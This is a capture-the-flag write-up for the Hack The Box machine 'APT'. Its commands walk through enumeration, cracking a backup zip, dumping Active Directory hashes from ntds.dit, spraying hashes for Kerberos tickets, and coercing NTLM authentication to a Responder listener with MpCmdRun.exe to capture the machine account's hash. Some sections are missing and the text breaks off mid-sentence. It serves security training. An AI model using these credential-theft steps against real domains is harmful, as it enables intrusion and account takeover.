$ nmap --min-rate 3000 -oN nmap-tcp.initial -p- -Pn -T4 -v 10.10.10.213
Host is up.
All 65535 scanned ports on 10.10.10.213 are filtered
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 65.54 seconds
No open port was found but scanning using IPv6 might yield a different result. But first, the IPv6 of the machine needs to be determined. It could be done using :
Adding the recovered IPv6 addresses to the /etc/hosts file then attempting to scan using the new hostname:
The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
dead:beef::b885:d62a:d679:573f apt.htb#
$ nmap -6 --min-rate 3000 -oN nmap6-tcp.initial -p- -Pn -T4 -v apt.htb
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
135/tcp open msrpc
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
5985/tcp open wsman
9389/tcp open adws
47001/tcp open winrm
$ nmap -6 -oN nmap6-tcp -p 53,80,135,389,445,464,593,636,5985,9389,47001 -sC -sV -v apt.htb
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|http-server-header: Microsoft-IIS/10.0
|_http-title: Gigantic Hosting | Home
135/tcp open msrpc Microsoft Windows RPC
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=apt.htb.local
| Subject Alternative Name: DNS:apt.htb.local
| Issuer: commonName=apt.htb.local
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-09-24T07:07:18
| Not valid after: 2050-09-24T07:17:18
| MD5: c743 dd92 e928 50b0 aa86 6f80 1b04 4d22
|_SHA-1: f677 c290 98c0 2ac5 8575 7060 683d cdbc 5f86 5d45
|_ssl-date: 2021-04-09T11:25:05+00:00; 0s from scanner time.
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=apt.htb.local
| Subject Alternative Name: DNS:apt.htb.local
| Issuer: commonName=apt.htb.local
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-09-24T07:07:18
| Not valid after: 2050-09-24T07:17:18
| MD5: c743 dd92 e928 50b0 aa86 6f80 1b04 4d22
|_SHA-1: f677 c290 98c0 2ac5 8575 7060 683d cdbc 5f86 5d45
|_ssl-date: 2021-04-09T11:25:05+00:00; 0s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: APT; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -11m59s, deviation: 26m49s, median: 0s
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: apt
| NetBIOS computer name: APT\x00
| Domain name: htb.local
| Forest name: htb.local
| FQDN: apt.htb.local
| System time: 2021-04-09T12:24:49+01:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2021-04-09T11:24:51
|_ start_date: 2021-04-09T07:46:49
Open ports have now been determined and it seems like the machine is part of an Active Directory.
1.2 Updating /etc/hosts
The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
dead:beef::b885:d62a:d679:573f ##apt.htb.local HTB.local# apt.htb
This might be essential when enumerating/connecting to the machine.
PART 2 : PORT ENUMERATION
2.1 TCP PORT 80 (HTTP)
2.2 TCP PORT 445 (SMB)
Enumerating available shares from anonymous login:
$ smbclient -L \\\\apt.htb -N
Anonymous login successful
Sharename Type Comment
--------- ---- -------
backup Disk
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
apt.htb is an IPv6 address -- no workgroup available
$ smbclient \\\\apt.htb\\backup -N
smb: \> dir
. D 0 Thu Sep 24 03:30:52 2020
.. D 0 Thu Sep 24 03:30:52 2020
backup.zip A 10650961 Thu Sep 24 03:30:32 2020
There is a backup.zip file publicly available in the backup share.
$ smbget -a -R smb://apt.htb/backup/backup.zip
Using workgroup WORKGROUP, guest user
smb://apt.htb/backup/backup.zip
Downloaded 10.16MB in 37 seconds
$ unzip backup.zip
Archive: backup.zip
creating: Active Directory/
[backup.zip] Active Directory/ntds.dit password:
$ fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt backup.zip
PASSWORD FOUND!!!!: pw == iloveyousomuch
The backup.zip file was successfully downloaded from the file share but trying to extract the contents requires a password. Luckily, the password was susceptible to a dictionary attack which returned the password as iloveyousomuch. Successfully extracting the contents reveals the following files:
$ unzip backup.zip
Archive: backup.zip
[backup.zip] Active Directory/ntds.dit password: iloveyousomuch
inflating: Active Directory/ntds.dit
inflating: Active Directory/ntds.jfm
creating: registry/
inflating: registry/SECURITY
inflating: registry/SYSTEM
$ find . -type f -exec file {} + 2>/dev/null | grep -v backup
./Active Directory/ntds.dit: Extensible storage engine DataBase, version 0x620, checksum 0x6f146ad6, page size 8192, Windows version 10.0
./Active Directory/ntds.jfm: data
./registry/SECURITY: MS Windows registry file, NT/2000 or above
./registry/SYSTEM: MS Windows registry file, NT/2000 or above
There’s an ntds.dit file which is a database file storing Active Directory data especially user objects and password hashes; however, it’s encrypted. Along with this are Windows Registry files.
PART 3: EXPLOITATION
3.1 Search for valid users
$ impacket-secretsdump -ntds Active\ Directory/ntds.dit -system registry/SYSTEM -outputfile user_hashes.txt LOCAL
$ ls -l
-rwxrwxrwx 1 root root 176132 xxx x xx:xx user_hashes.txt.ntds
-rwxrwxrwx 1 root root 136 xxx x xx:xx user_hashes.txt.ntds.cleartext
-rwxrwxrwx 1 root root 433995 xxx x xx:xx user_hashes.txt.ntds.kerberos
The extraction is only possible since the password encryption key used for ntds.dit is encrypted using the BOOTKEY which could be found on the SYSTEM registry hive. Otherwise, if the SYSTEM hive is not available, the bootkey could be provided as an argument to secretsdump module of impacket.
The usernames were trimmed from the password hashes recovered in ntds.dit via impacket-secretsdump. The usernames were then passed through kerbrute to check if they were still valid/active users in the domain controller. As for that, three users were found — Administrator, APT$, and henry.vinson.
3.2 Generating a Kerberos Ticket for henry.vinson
The hashes found for the valid users doesn’t seem to work when attempting to login via winrm. Since this box seems to be part of an Active Directory, maybe forging a kerberos ticket will work for authenticating into the machine.
The shell script below was the one-liner used to brute force the generation of the ticket:
for i in $(cat hashes.txt); do
echo $i;
attempt=$(impacket-getTGT HTB.local/henry.vinson@apt.htb -hashes $i);
if ! [[ $attempt == "SessionError" ]]; then
echo "HASH FOUND: [$i]";
echo $attempt;
break;
fi;
done
A password spray (in this case, hashes extracted from ntds.dit were used) was attempted for the user, henry.vinson, and one of the hashes (not his own) was found to be able to forge a krbtgt ticket. However, this still does not seem to work for authentication via WinRM.
3.3 Dumping HKEY_USERS
The HKU registry hive contains all configurations set for all active users.
It seems like the reason why the other users cannot authenticate via WinRM even though a valid hash has been found is that they are not part of the Remote Management Users group:
PS C:\Users\henry.vinson_adm\Documents> net localgroup "Remote Management Users"
Alias name Remote Management Users
Comment Members of this group can access WMI resources over management protocols (such as WS-Management via the Windows Remote Management service). This applies only to WMI namespaces that grant access to the user.
Members
-------------------------------------------------------------------------------
henry.vinson_adm
PART 5 : PRIVILEGE ESCALATION (henry.vinson_adm → Administrator)
5.1 The console history of henry.vinson_adm
Checking the console history of the current user:
PS C:\Users\henry.vinson_adm\Documents> cd ..\AppData
PS C:\Users\henry.vinson_adm\AppData> type Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
The DWORD value for lmcompatibilitylevel was set to 2 and based on the Microsoft documentation for LAN Manager authentication level:
DWORD
Setting
Description
2
Send NTLM response only
Client devices use NTLMv1 authentication, and they use NTLMv2 session security if the server supports it. Domain controllers accept LM, NTLM, and NTLMv2 authentication.
With this the machine should only repond with NTLMv1 hashes during authentication.
5.2 Intercepting NTLMv1 Hashes
Setting up responder with a custom challenge, "1122334455667788"
$ cat /etc/responder/Responder.conf | grep -i challenge
; Custom challenge.
; Use "Random" for generating a random challenge for each requests (Default)
Challenge = 1122334455667788
$ sudo responder -I tun0 --lm
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.0.2.0
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
[...omitted...]
[+] Servers:
[...omitted...]
SMB server [ON]
[...omitted...]
[+] Poisoning Options:
[...omitted...]
Force LM downgrade [ON]
[...omitted...]
[+] Generic Options:
Responder NIC [tun0]
Responder IP [10.10.14.11]
Challenge set [1122334455667788]
[...omitted...]
Then forcing the target machine to force NTLM authentication:
PS C:\Users\henry.vinson_adm\AppData> cd "C:\ProgramData\Microsoft\Windows Defender\platform"
PS C:\ProgramData\Microsoft\Windows Defender\platform> dir
Directory: C:\ProgramData\Microsoft\Windows Defender\platform
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/10/2020 11:09 AM 4.18.2010.7-0
d----- 3/17/2021 3:13 PM 4.18.2102.4-0
PS C:\ProgramData\Microsoft\Windows Defender\platform> cd 4.18.2010.7-0
PS C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0> .\MpCmdRun.exe -Scan -ScanType 3 -File \\10.10.14.11\file.txt
Looking back in the running responder, the NTLMv1 hash for the computer account was retrieved:
Going to and submitting the value, NTHASH:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384, will return the following if the hash was successfully cracked:
